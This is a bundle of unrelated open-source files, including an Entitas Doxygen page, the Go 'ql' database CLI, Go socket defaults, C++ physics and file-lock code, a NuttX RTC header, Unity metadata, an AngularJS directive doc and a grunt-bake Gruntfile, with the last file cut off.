class="line"><a name="l00049"></a><span class="lineno"> 49</span>&#160;</div><div class="line"><a name="l00050"></a><span class="lineno"> 50</span>&#160; <span class="keywordflow">return</span> mergedIndices;</div><div class="line"><a name="l00051"></a><span class="lineno"> 51</span>&#160; }</div><div class="line"><a name="l00052"></a><span class="lineno"> 52</span>&#160;</div><div class="line"><a name="l00053"></a><span class="lineno"> 53</span>&#160; <span class="keyword">static</span> <span class="keywordtype">int</span>[] mergeIndices(<a class="code" href="interface_entitas_1_1_i_matcher.html">IMatcher&lt;TEntity&gt;</a>[] matchers) {</div><div class="line"><a name="l00054"></a><span class="lineno"> 54</span>&#160; var indices = <span class="keyword">new</span> <span class="keywordtype">int</span>[matchers.Length];</div><div class="line"><a name="l00055"></a><span class="lineno"> 55</span>&#160; <span class="keywordflow">for</span> (<span class="keywordtype">int</span> i = 0; i &lt; matchers.Length; i++) {</div><div class="line"><a name="l00056"></a><span class="lineno"> 56</span>&#160; var matcher = matchers[i];</div><div class="line"><a name="l00057"></a><span class="lineno"> 57</span>&#160; <span class="keywordflow">if</span> (matcher.indices.Length != 1) {</div><div class="line"><a name="l00058"></a><span class="lineno"> 58</span>&#160; <span class="keywordflow">throw</span> <span class="keyword">new</span> <a class="code" href="class_entitas_1_1_matcher_exception.html">MatcherException</a>(matcher.indices.Length);</div><div class="line"><a name="l00059"></a><span class="lineno"> 59</span>&#160; }</div><div class="line"><a name="l00060"></a><span class="lineno"> 60</span>&#160; indices[i] = matcher.indices[0];</div><div class="line"><a name="l00061"></a><span class="lineno"> 61</span>&#160; }</div><div class="line"><a name="l00062"></a><span class="lineno"> 62</span>&#160;</div><div class="line"><a name="l00063"></a><span class="lineno"> 63</span>&#160; <span class="keywordflow">return</span> indices;</div><div class="line"><a name="l00064"></a><span class="lineno"> 64</span>&#160; }</div><div class="line"><a name="l00065"></a><span class="lineno"> 65</span>&#160;</div><div class="line"><a name="l00066"></a><span class="lineno"> 66</span>&#160; <span class="keyword">static</span> <span class="keywordtype">string</span>[] getComponentNames(<a class="code" href="interface_entitas_1_1_i_matcher.html">IMatcher&lt;TEntity&gt;</a>[] matchers) {</div><div class="line"><a name="l00067"></a><span class="lineno"> 67</span>&#160; <span class="keywordflow">for</span> (<span class="keywordtype">int</span> i = 0; i &lt; matchers.Length; i++) {</div><div class="line"><a name="l00068"></a><span class="lineno"> 68</span>&#160; var matcher = matchers[i] as <a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>;</div><div class="line"><a name="l00069"></a><span class="lineno"> 69</span>&#160; <span class="keywordflow">if</span> (matcher != <span class="keyword">null</span> &amp;&amp; matcher.componentNames != <span class="keyword">null</span>) {</div><div class="line"><a name="l00070"></a><span class="lineno"> 70</span>&#160; <span class="keywordflow">return</span> matcher.componentNames;</div><div class="line"><a name="l00071"></a><span class="lineno"> 71</span>&#160; }</div><div class="line"><a name="l00072"></a><span class="lineno"> 72</span>&#160; }</div><div class="line"><a name="l00073"></a><span class="lineno"> 73</span>&#160;</div><div class="line"><a name="l00074"></a><span class="lineno"> 74</span>&#160; <span class="keywordflow">return</span> <span class="keyword">null</span>;</div><div class="line"><a name="l00075"></a><span class="lineno"> 75</span>&#160; }</div><div class="line"><a name="l00076"></a><span class="lineno"> 76</span>&#160;</div><div class="line"><a name="l00077"></a><span class="lineno"> 77</span>&#160; <span class="keyword">static</span> <span class="keywordtype">void</span> setComponentNames(<a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a> matcher, <a class="code" href="interface_entitas_1_1_i_matcher.html">IMatcher&lt;TEntity&gt;</a>[] matchers) {</div><div class="line"><a name="l00078"></a><span class="lineno"> 78</span>&#160; var componentNames = getComponentNames(matchers);</div><div class="line"><a name="l00079"></a><span class="lineno"> 79</span>&#160; <span class="keywordflow">if</span> (componentNames != <span class="keyword">null</span>) {</div><div class="line"><a name="l00080"></a><span class="lineno"> 80</span>&#160; matcher.componentNames = componentNames;</div><div class="line"><a name="l00081"></a><span class="lineno"> 81</span>&#160; }</div><div class="line"><a name="l00082"></a><span class="lineno"> 82</span>&#160; }</div><div class="line"><a name="l00083"></a><span class="lineno"> 83</span>&#160;</div><div class="line"><a name="l00084"></a><span class="lineno"> 84</span>&#160; <span class="keyword">static</span> <span class="keywordtype">int</span>[] distinctIndices(IList&lt;int&gt; indices) {</div><div class="line"><a name="l00085"></a><span class="lineno"> 85</span>&#160; <span class="keywordflow">foreach</span> (var index <span class="keywordflow">in</span> indices) {</div><div class="line"><a name="l00086"></a><span class="lineno"> 86</span>&#160; _indexSetBuffer.Add(index);</div><div class="line"><a name="l00087"></a><span class="lineno"> 87</span>&#160; }</div><div class="line"><a name="l00088"></a><span class="lineno"> 88</span>&#160;</div><div class="line"><a name="l00089"></a><span class="lineno"> 89</span>&#160; var uniqueIndices = <span class="keyword">new</span> <span class="keywordtype">int</span>[_indexSetBuffer.Count];</div><div class="line"><a name="l00090"></a><span class="lineno"> 90</span>&#160; _indexSetBuffer.CopyTo(uniqueIndices);</div><div class="line"><a name="l00091"></a><span class="lineno"> 91</span>&#160; Array.Sort(uniqueIndices);</div><div class="line"><a name="l00092"></a><span class="lineno"> 92</span>&#160;</div><div class="line"><a name="l00093"></a><span class="lineno"> 93</span>&#160; _indexSetBuffer.Clear();</div><div class="line"><a name="l00094"></a><span class="lineno"> 94</span>&#160;</div><div class="line"><a name="l00095"></a><span class="lineno"> 95</span>&#160; <span class="keywordflow">return</span> uniqueIndices;</div><div class="line"><a name="l00096"></a><span class="lineno"> 96</span>&#160; }</div><div class="line"><a name="l00097"></a><span class="lineno"> 97</span>&#160; }</div><div class="line"><a name="l00098"></a><span class="lineno"> 98</span>&#160;}</div><div class="ttc" id="class_entitas_1_1_matcher_exception_html"><div class="ttname"><a href="class_entitas_1_1_matcher_exception.html">Entitas.MatcherException</a></div><div class="ttdef"><b>Definition:</b> <a href="_matcher_exception_8cs_source.html#l00005">MatcherException.cs:5</a></div></div> <div class="ttc" id="namespace_entitas_html"><div class="ttname"><a href="namespace_entitas.html">Entitas</a></div><div class="ttdef"><b>Definition:</b> <a href="_collector_8cs_source.html#l00005">Collector.cs:5</a></div></div> <div class="ttc" id="class_entitas_1_1_matcher_html"><div class="ttname"><a href="class_entitas_1_1_matcher.html">Entitas.Matcher</a></div><div class="ttdef"><b>Definition:</b> <a href="_matcher_8cs_source.html#l00003">Matcher.cs:3</a></div></div> <div class="ttc" id="interface_entitas_1_1_i_all_of_matcher_html"><div class="ttname"><a href="interface_entitas_1_1_i_all_of_matcher.html">Entitas.IAllOfMatcher</a></div><div class="ttdef"><b>Definition:</b> <a href="_i_all_of_matcher_8cs_source.html#l00003">IAllOfMatcher.cs:3</a></div></div> <div class="ttc" id="interface_entitas_1_1_i_matcher_html"><div class="ttname"><a href="interface_entitas_1_1_i_matcher.html">Entitas.IMatcher</a></div><div class="ttdef"><b>Definition:</b> <a href="_i_matcher_8cs_source.html#l00003">IMatcher.cs:3</a></div></div> <div class="ttc" id="interface_entitas_1_1_i_any_of_matcher_html"><div class="ttname"><a href="interface_entitas_1_1_i_any_of_matcher.html">Entitas.IAnyOfMatcher</a></div><div class="ttdef"><b>Definition:</b> <a href="_i_any_of_matcher_8cs_source.html#l00003">IAnyOfMatcher.cs:3</a></div></div> </div><!-- fragment --></div><!-- contents --> </div><!-- doc-content --> <!-- start footer part --> <div id="nav-path" class="navpath"><!-- id is needed for treeview function! --> <ul> <li class="navelem"><a class="el" href="dir_2445fa600638ca0377a838c43b60c5d0.html">Entitas</a></li><li class="navelem"><a class="el" href="dir_18d0583636d1f7adc70f46fa7dc6fd22.html">Entitas</a></li><li class="navelem"><a class="el" href="dir_5b9febb0a1643b31f73c828c94068ca9.html">Matcher</a></li><li class="navelem"><b>MatcherStatic.cs</b></li> <li class="footer">Generated by <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.15 </li> </ul> </div> </body> </html>
{ "pile_set_name": "Github" }
package er.cayenne.example.persistent; import er.cayenne.example.persistent.auto._Datamap; public class Datamap extends _Datamap { private static Datamap instance; private Datamap() {} public static Datamap getInstance() { if(instance == null) { instance = new Datamap(); } return instance; } }
{ "pile_set_name": "Github" }
/** * Copyright 2017-2019 the original author or authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.zhudy.duic.server import io.zhudy.duic.DuicVersion import org.springframework.boot.Banner import org.springframework.boot.ansi.AnsiColor import org.springframework.boot.ansi.AnsiOutput import org.springframework.boot.ansi.AnsiStyle import org.springframework.core.env.Environment import java.io.PrintStream /** * @author Kevin Zou ([email protected]) */ class DuicBanner : Banner { private val banner = """ ______ _ ______ |_ _ `. (_) .' ___ | | | `. \ __ _ __ / .' \_| | | | |[ | | | [ || | _| |_.' / | \_/ |, | |\ `.___.'\ |______.' '.__.'_/[___]`.____ .'""" private val duic = " :: duic :: " private val lineSize = 34 override fun printBanner(environment: Environment, sourceClass: Class<*>, out: PrintStream) { out.println(banner) var version = DuicVersion.version if (version.isNotEmpty()) { version = " (v$version)" } val padding = StringBuilder() while (padding.length <= lineSize - (version.length + duic.length)) { padding.append(" ") } out.println(AnsiOutput.toString( AnsiColor.GREEN, ":: duic ::", AnsiColor.DEFAULT, padding, AnsiStyle.FAINT, version )) out.println() } }
{ "pile_set_name": "Github" }
// Copyright 2014 The ql Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Command ql is a utility to explore a database, prototype a schema or test // drive a query, etc. // // Installation: // // $ go get github.com/cznic/ql/ql // // Usage: // // ql [-db name] [-schema regexp] [-tables regexp] [-fld] statement_list // // Options: // // -db name Name of the database to use. Defaults to "ql.db". // If the DB file does not exists it is created automatically. // // -schema re If re != "" show the CREATE statements of matching tables and exit. // // -tables re If re != "" show the matching table names and exit. // // -fld First row of a query result set will show field names. // // statement_list QL statements to execute. // If no non flag arguments are present, ql reads from stdin. // The list is wrapped into an automatic transaction. // // -t Report and measure time to execute, including creating/opening and closing the DB. // // Example: // // $ ql 'create table t (i int, s string)' // $ ql << EOF // > insert into t values // > (1, "a"), // > (2, "b"), // > (3, "c"), // > EOF // $ ql 'select * from t' // 3, "c" // 2, "b" // 1, "a" // $ ql -fld 'select * from t where i != 2 order by s' // "i", "s" // 1, "a" // 3, "c" // $ package main import ( "bufio" "flag" "fmt" "io/ioutil" "log" "os" "regexp" "runtime" "sort" "strings" "time" "github.com/cznic/ql" ) func str(data []interface{}) string { a := make([]string, len(data)) for i, v := range data { switch x := v.(type) { case string: a[i] = fmt.Sprintf("%q", x) default: a[i] = fmt.Sprint(x) } } return strings.Join(a, ", ") } func main() { if err := do(); err != nil { log.Fatal(err) } } type config struct { db string flds bool schema string tables string time bool help bool interactive bool } func (c *config) parse() { db := flag.String("db", "ql.db", "The DB file to open. It'll be created if missing.") flds := flag.Bool("fld", false, "Show recordset's field names.") schema := flag.String("schema", "", "If non empty, show the CREATE statements of matching tables and exit.") tables := flag.String("tables", "", "If non empty, list matching table names and exit.") time := flag.Bool("t", false, "Measure and report time to execute the statement(s) including DB create/open/close.") help := flag.Bool("h", false, "Shows this help text.") interactive := flag.Bool("i", false, "runs in interactive mode") flag.Parse() c.flds = *flds c.db = *db c.schema = *schema c.tables = *tables c.time = *time c.help = *help c.interactive = *interactive } func do() (err error) { cfg := &config{} cfg.parse() if cfg.help { flag.PrintDefaults() return nil } if flag.NArg() == 0 && !cfg.interactive { // Somehow we expect input to the ql tool. // This will block trying to read input from stdin b, err := ioutil.ReadAll(os.Stdin) if err != nil || len(b) == 0 { flag.PrintDefaults() return nil } db, err := ql.OpenFile(cfg.db, &ql.Options{CanCreate: true}) if err != nil { return err } defer func() { ec := db.Close() switch { case ec != nil && err != nil: log.Println(ec) case ec != nil: err = ec } }() return run(cfg, bufio.NewWriter(os.Stdout), string(b), db) } db, err := ql.OpenFile(cfg.db, &ql.Options{CanCreate: true}) if err != nil { return err } defer func() { ec := db.Close() switch { case ec != nil && err != nil: log.Println(ec) case ec != nil: err = ec } }() r := bufio.NewReader(os.Stdin) o := bufio.NewWriter(os.Stdout) if cfg.interactive { for { o.WriteString("ql> ") o.Flush() src, err := readSrc(cfg.interactive, r) if err != nil { return err } err = run(cfg, o, src, db) if err != nil { fmt.Fprintln(o, err) o.Flush() } } return nil } src, err := readSrc(cfg.interactive, r) if err != nil { return err } return run(cfg, o, src, db) } func readSrc(i bool, in *bufio.Reader) (string, error) { if i { return in.ReadString('\n') } var src string switch n := flag.NArg(); n { case 0: b, err := ioutil.ReadAll(in) if err != nil { return "", err } src = string(b) default: a := make([]string, n) for i := range a { a[i] = flag.Arg(i) } src = strings.Join(a, " ") } return src, nil } func run(cfg *config, o *bufio.Writer, src string, db *ql.DB) (err error) { defer o.Flush() if cfg.interactive { src = strings.TrimSpace(src) if strings.HasPrefix(src, "\\") || strings.HasPrefix(src, ".") { switch src { case "\\clear", ".clear": switch runtime.GOOS { case "darwin", "linux": fmt.Fprintln(o, "\033[H\033[2J") default: fmt.Fprintln(o, "clear not supported in this system") } return nil case "\\q", "\\exit", ".q", ".exit": // we make sure to close the database before exiting db.Close() os.Exit(1) } } } t0 := time.Now() if cfg.time { defer func() { fmt.Fprintf(os.Stderr, "%s\n", time.Since(t0)) }() } if pat := cfg.schema; pat != "" { re, err := regexp.Compile(pat) if err != nil { return err } nfo, err := db.Info() if err != nil { return err } r := []string{} for _, ti := range nfo.Tables { if !re.MatchString(ti.Name) { continue } a := []string{} for _, ci := range ti.Columns { a = append(a, fmt.Sprintf("%s %s", ci.Name, ci.Type)) } r = append(r, fmt.Sprintf("CREATE TABLE %s (%s);", ti.Name, strings.Join(a, ", "))) } sort.Strings(r) if len(r) != 0 { fmt.Fprintln(o, strings.Join(r, "\n")) } return nil } if pat := cfg.tables; pat != "" { re, err := regexp.Compile(pat) if err != nil { return err } nfo, err := db.Info() if err != nil { return err } r := []string{} for _, ti := range nfo.Tables { if !re.MatchString(ti.Name) { continue } r = append(r, ti.Name) } sort.Strings(r) if len(r) != 0 { fmt.Fprintln(o, strings.Join(r, "\n")) } return nil } src = strings.TrimSpace(src) commit := "COMMIT;" if !strings.HasSuffix(src, ";") { commit = "; " + commit } src = "BEGIN TRANSACTION; " + src + commit l, err := ql.Compile(src) if err != nil { log.Println(src) return err } rs, i, err := db.Execute(ql.NewRWCtx(), l) if err != nil { a := strings.Split(strings.TrimSpace(fmt.Sprint(l)), "\n") return fmt.Errorf("%v: %s", err, a[i]) } if len(rs) == 0 { return } switch { case l.IsExplainStmt(): return rs[len(rs)-1].Do(cfg.flds, func(data []interface{}) (bool, error) { fmt.Fprintln(o, data[0]) return true, nil }) default: for _, rst := range rs { err = rst.Do(cfg.flds, func(data []interface{}) (bool, error) { fmt.Fprintln(o, str(data)) return true, nil }) o.Flush() if err != nil { return } } return } }
{ "pile_set_name": "Github" }
// Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package net import ( "os" "syscall" ) func setDefaultSockopts(s, family, sotype int, ipv6only bool) error { if family == syscall.AF_INET6 && sotype != syscall.SOCK_RAW { // Allow both IP versions even if the OS default // is otherwise. Note that some operating systems // never admit this option. syscall.SetsockoptInt(s, syscall.IPPROTO_IPV6, syscall.IPV6_V6ONLY, boolint(ipv6only)) } if (sotype == syscall.SOCK_DGRAM || sotype == syscall.SOCK_RAW) && family != syscall.AF_UNIX { // Allow broadcast. return os.NewSyscallError("setsockopt", syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)) } return nil } func setDefaultListenerSockopts(s int) error { // Allow reuse of recently-used addresses. return os.NewSyscallError("setsockopt", syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)) } func setDefaultMulticastSockopts(s int) error { // Allow multicast UDP and raw IP datagram sockets to listen // concurrently across multiple listeners. if err := syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1); err != nil { return os.NewSyscallError("setsockopt", err) } // Allow reuse of recently-used ports. return os.NewSyscallError("setsockopt", syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, 1)) }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 625e7d12c571d0e45a97a911134882cb timeCreated: 1521773732 licenseType: Free DefaultImporter: userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
// #include "Utilities/Configuration/interface/Architecture.h" /* * See header file for a description of this class. * * \author N. Amapane - INFN Torino */ #include "MagneticField/Layers/interface/MagBLayer.h" #include "MagneticField/Layers/interface/MagBSector.h" #include "MagneticField/VolumeGeometry/interface/MagVolume.h" #include "Utilities/BinningTools/interface/PeriodicBinFinderInPhi.h" #include "DataFormats/GeometryVector/interface/Phi.h" #include "FWCore/MessageLogger/interface/MessageLogger.h" #include <iostream> using namespace std; MagBLayer::MagBLayer(vector<MagBSector*>& sectors, double rMin) : theSectors(sectors), theSingleVolume(nullptr), theRMin(rMin), theBinFinder(nullptr) { // LogTrace("MagGeometry") << "Building MagBLayer with " << theSectors.size() // << " sectors, minR " << theRMin << endl; //FIXME: PeriodicBinFinderInPhi gets *center* of first bin theBinFinder = new PeriodicBinFinderInPhi<float>(theSectors.front()->minPhi() + Geom::pi() / 12., 12); } /// Constructor for a trivial layer consisting of one single volume. MagBLayer::MagBLayer(MagVolume* aVolume, double rMin) : theSingleVolume(nullptr), theRMin(rMin), theBinFinder(nullptr) { // LogTrace("MagGeometry") << "Building MagBLayer with " << 0 // << " sectors, minR " << theRMin << endl; } MagBLayer::~MagBLayer() { delete theBinFinder; delete theSingleVolume; for (vector<MagBSector*>::const_iterator isec = theSectors.begin(); isec != theSectors.end(); ++isec) { delete (*isec); } } const MagVolume* MagBLayer::findVolume(const GlobalPoint& gp, double tolerance) const { const MagVolume* result = nullptr; //In case the layer is composed of a single volume... if (theSingleVolume) { // LogTrace("MagGeometry") << " Trying the unique volume " << endl; if (theSingleVolume->inside(gp, tolerance)) { result = theSingleVolume; // LogTrace("MagGeometry") << "***In unique bsector" // << (result==0? " failed " : " OK ") <<endl; } return result; } // Normal cases - query the sectors. Geom::Phi<float> phi = gp.phi(); // FIXME assume sectors are sorted in phi! int bin = theBinFinder->binIndex(phi); LogTrace("MagGeometry") << " Trying sector at phi " << theSectors[bin]->minPhi() << " " << phi << endl; result = theSectors[bin]->findVolume(gp, tolerance); LogTrace("MagGeometry") << "***In guessed bsector" << (result == nullptr ? " failed " : " OK ") << endl; if (result == nullptr) { // If fails, can be in previous bin. LogTrace("MagGeometry") << " Trying sector at phi " << theSectors[theBinFinder->binIndex(bin - 1)]->minPhi() << " " << phi << endl; result = theSectors[theBinFinder->binIndex(bin - 1)]->findVolume(gp, tolerance); LogTrace("MagGeometry") << "***In previous bsector" << (result == nullptr ? " failed " : " OK ") << endl; } return result; }
{ "pile_set_name": "Github" }
/**************************************************************************** * arch/arm/src/s32k1xx/s32k1xx_rtc.h * * Copyright (C) 2018 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #ifndef __ARCH_ARM_SRC_s32k1xx_s32k1xx_rtc_H #define __ARCH_ARM_SRC_s32k1xx_s32k1xx_rtc_H #include <nuttx/config.h> #include "chip.h" #ifdef CONFIG_S32K1XX_RTC /**************************************************************************** * Preprocessor Definitions ****************************************************************************/ # ifdef CONFIG_RTC_DATETIME # error CONFIG_RTC_DATETIME should not be selected with this driver # endif # ifdef CONFIG_RTC_PERIODIC # error CONFIG_RTC_PERIODIC should not be selected with this driver # endif /**************************************************************************** * Public Function Prototypes ****************************************************************************/ #ifndef __ASSEMBLY__ #undef EXTERN #if defined(__cplusplus) #define EXTERN extern "C" extern "C" { #else #define EXTERN extern #endif /**************************************************************************** * Name: up_rtc_initialize * * Description: * Initialize the rtc per the selected configuration. * Input Parameters: * None * * Returned Value: * Zero (OK) on success; a negated errno on failure * ****************************************************************************/ int up_rtc_initialize(void); /**************************************************************************** * Name: s32k1xx_rtc_havesettime * * Description: * Check if the rtc time has been set * * Input Parameters: * None * * Returned Value: * Returns true if RTC date-time have been previously set. * ****************************************************************************/ bool s32k1xx_rtc_havesettime(void); #undef EXTERN #if defined(__cplusplus) } #endif #endif /* __ASSEMBLY__ */ #endif /* CONFIG_S32K1XX_RTC */ #endif /* __ARCH_ARM_SRC_s32k1xx_s32k1xx_rtc_H */
{ "pile_set_name": "Github" }
#ifndef LIMONP_FILELOCK_HPP #define LIMONP_FILELOCK_HPP #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <string> #include <string.h> #include <assert.h> namespace limonp { using std::string; class FileLock { public: FileLock() : fd_(-1), ok_(true) { } ~FileLock() { if(fd_ > 0) { Close(); } } void Open(const string& fname) { assert(fd_ == -1); fd_ = open(fname.c_str(), O_RDWR | O_CREAT, 0644); if(fd_ < 0) { ok_ = false; err_ = strerror(errno); } } void Close() { ::close(fd_); } void Lock() { if(LockOrUnlock(fd_, true) < 0) { ok_ = false; err_ = strerror(errno); } } void UnLock() { if(LockOrUnlock(fd_, false) < 0) { ok_ = false; err_ = strerror(errno); } } bool Ok() const { return ok_; } string Error() const { return err_; } private: static int LockOrUnlock(int fd, bool lock) { errno = 0; struct flock f; memset(&f, 0, sizeof(f)); f.l_type = (lock ? F_WRLCK : F_UNLCK); f.l_whence = SEEK_SET; f.l_start = 0; f.l_len = 0; // Lock/unlock entire file return fcntl(fd, F_SETLK, &f); } int fd_; bool ok_; string err_; }; // class FileLock }// namespace limonp #endif // LIMONP_FILELOCK_HPP
{ "pile_set_name": "Github" }
15 charge = 0 C 3.635561 -0.106069 -1.087809 C 2.602677 0.178870 -0.002129 C 3.037941 -0.275245 1.357506 C 3.365156 0.559570 2.388367 S 3.839760 -0.293977 3.787746 C 3.609328 -1.798291 3.019513 C 3.183979 -1.640029 1.735462 H 3.277395 0.225980 -2.065212 H 3.853302 -1.174454 -1.155783 H 4.575173 0.408938 -0.875715 H 1.659749 -0.314981 -0.261579 H 2.388995 1.250678 0.029288 H 3.346608 1.639603 2.390971 H 3.793698 -2.718351 3.552986 H 2.973879 -2.472261 1.074779
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: e863cb53518708d4ca4aff4d221c7264 NativeFormatImporter: userData:
{ "pile_set_name": "Github" }
// // SynchronizedUnsubscribeType.swift // RxSwift // // Created by Krunoslav Zaher on 10/25/15. // Copyright © 2015 Krunoslav Zaher. All rights reserved. // protocol SynchronizedUnsubscribeType : class { associatedtype DisposeKey func synchronizedUnsubscribe(_ disposeKey: DisposeKey) }
{ "pile_set_name": "Github" }
/** * @ngdoc directive * @name patternfly.select.directive:pfBootstrapSelect * @element select * * @param {string} ngModel Model binding using the {@link https://docs.angularjs.org/api/ng/type/ngModel.NgModelController/ NgModelController} is mandatory. * @param {string=} ngOptions The `{@link https://docs.angularjs.org/api/ng/directive/select/ ngOptions}` attribute can be used to dynamically generate a list of `<option>` * elements for the `<select>` element. * * @description * An AngularJS wrapper for the {@link http://silviomoreto.github.io/bootstrap-select/ Bootstrap-select} jQuery plugin which is used * as a default select decorator in {@link https://www.patternfly.org/widgets/#bootstrap-select Patternfly}. * * @example <example module="patternfly.select"> <file name="index.html"> <div ng-controller="SelectDemoCtrl"> <form class="form-horizontal"> <div class="form-group"> <label class="col-sm-2 control-label" for="pet">Preferred pet:</label> <div class="col-sm-10"> <select pf-bootstrap-select ng-model="pet" id="pet" ng-options="o as o for o in pets"></select> </div> </div> <div class="form-group"> <label class="col-sm-2 control-label" for="fruit">Preferred fruit:</label> <div class="col-sm-10"> <select pf-bootstrap-select ng-model="fruit" id="fruit"> <option value="orange">Orange</option> <option value="apple" ng-selected="true" selected>Apple</option> <option value="banana">Banana</option> </select> </div> </div> <div class="form-group"> <label class="col-sm-2 control-label" for="drink">Preferred drink:</label> <div class="col-sm-10"> <select pf-bootstrap-select="{ noneSelectedText: 'None' }" ng-model="drink" id="drink" ng-options="o as o for o in drinks"> <option value="">No drink selected</option> </select> </div> </div> </form> <p>Your preferred pet is {{pet}}.</p> <p>Your preferred fruit is {{fruit}}.</p> <p>Your preferred drink is {{drink || 'No drink selected'}}.</p> </div> </file> <file name="script.js"> angular.module( 'patternfly.select' ).controller( 'SelectDemoCtrl', function( $scope ) { $scope.drinks = ['tea', 'coffee', 'water']; $scope.pets = ['Dog', 'Cat', 'Chicken']; $scope.pet = $scope.pets[0]; $scope.fruit = 'orange'; }); </file> </example> */
{ "pile_set_name": "Github" }
// // UIImageViewTap.m // Momento // // Created by Michael Waterfall on 04/11/2009. // Copyright 2009 d3i. All rights reserved. // #import "MWTapDetectingImageView.h" @implementation MWTapDetectingImageView - (id)initWithFrame:(CGRect)frame { if ((self = [super initWithFrame:frame])) { self.userInteractionEnabled = YES; } return self; } - (id)initWithImage:(UIImage *)image { if ((self = [super initWithImage:image])) { self.userInteractionEnabled = YES; } return self; } - (id)initWithImage:(UIImage *)image highlightedImage:(UIImage *)highlightedImage { if ((self = [super initWithImage:image highlightedImage:highlightedImage])) { self.userInteractionEnabled = YES; } return self; } - (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { UITouch *touch = [touches anyObject]; NSUInteger tapCount = touch.tapCount; switch (tapCount) { case 1: [self handleSingleTap:touch]; break; case 2: [self handleDoubleTap:touch]; break; case 3: [self handleTripleTap:touch]; break; default: break; } [[self nextResponder] touchesEnded:touches withEvent:event]; } - (void)handleSingleTap:(UITouch *)touch { if ([_tapDelegate respondsToSelector:@selector(imageView:singleTapDetected:)]) [_tapDelegate imageView:self singleTapDetected:touch]; } - (void)handleDoubleTap:(UITouch *)touch { if ([_tapDelegate respondsToSelector:@selector(imageView:doubleTapDetected:)]) [_tapDelegate imageView:self doubleTapDetected:touch]; } - (void)handleTripleTap:(UITouch *)touch { if ([_tapDelegate respondsToSelector:@selector(imageView:tripleTapDetected:)]) [_tapDelegate imageView:self tripleTapDetected:touch]; } @end
{ "pile_set_name": "Github" }
/* * grunt-bake * * Copyright (c) 2013 Mathias Paumgarten * Licensed under the MIT license. */ "use strict"; function parseFunction( source ) { return source.replace( /\{\{\s?([\.\-\w]*)\s?\}\}/g, function() { return ""; } ); } module.exports = function(grunt) { grunt.initConfig( { jshint: { all: [ "Gruntfile.js", "tasks/*.js", "<%= nodeunit.tests %>", ], options: { jshintrc: ".jshintrc", }, }, jsonlint: { config: { src: [ "package.json" ] } }, clean: [ "tmp" ], nodeunit: { tests: [ "test/*_test.js" ], }, watch: { jshint: { files: [ "Gruntfile.js", "tasks/*.js", "<%= nodeunit.tests %>", ], tasks: [ "jshint" ] }, jsonlint: { files: [ "package.json" ], tasks: [ "jsonlint" ] }, test: { files: [ "tasks/*.js", "<%= nodeunit.tests %>", ], tasks: [ "jshint", "test" ] } }, bake: { default_bake: { files: { "tmp/default_bake.html": "test/fixtures/default_bake.html" }, }, advanced_bake: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/advanced_bake.html": "test/fixtures/advanced_bake.html" } }, advanced_bake_multi: { options: { content: "test/fixtures/content.json", section: "en" }, files: { "tmp/advanced_bake_multi_one.html": "test/fixtures/advanced_bake_multi_one.html", "tmp/advanced_bake_multi_two.html": "test/fixtures/advanced_bake_multi_two.html" } }, object_bake: { options: { content: { "title": "A Title", "info": { "author": "Mike" } } }, files: { "tmp/object_bake.html": "test/fixtures/advanced_bake.html" } }, costum_process_bake: { options: { content: "test/fixtures/content.json", section: "de", process: parseFunction }, files: { "tmp/costum_process_bake.html": "test/fixtures/advanced_bake.html" } }, recursive_bake: { options: { content: "test/fixtures/content.json", section: "en", }, files: { "tmp/recursive_bake.html": "test/fixtures/recursive_bake.html" } }, inline_recursive_bake: { options: { content: "test/fixtures/content.json" }, files: { "tmp/inline_recursive_bake.html": "test/fixtures/inline_recursive_bake.html" } 